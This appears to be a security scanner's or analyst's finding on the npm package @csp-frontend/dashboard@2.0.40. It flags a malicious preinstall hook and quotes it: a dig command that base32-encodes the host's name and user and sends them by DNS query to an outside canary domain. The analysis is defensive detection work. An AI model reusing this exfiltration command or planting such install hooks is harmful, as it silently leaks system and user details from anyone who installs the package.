@csp-frontend/dashboard@2.0.40

Analysis

Critical finding: preinstall hook contains DNS exfiltration payload. The hook executes `dig +short "$(echo cf-$(hostname)-$(whoami) | base32 | tr -d '=' | rev).canary[.]rebind[.]fun[.]offensive[.]work"` which captures system info (hostname, username), base32-encodes it, and exfiltrates via DNS query to an external canary domain. This is a classic supply-chain attack pattern for data exfiltration. Publisher email [account] suggests offensive security testing origin, but this is still malicious code in the npm supply chain requiring human review.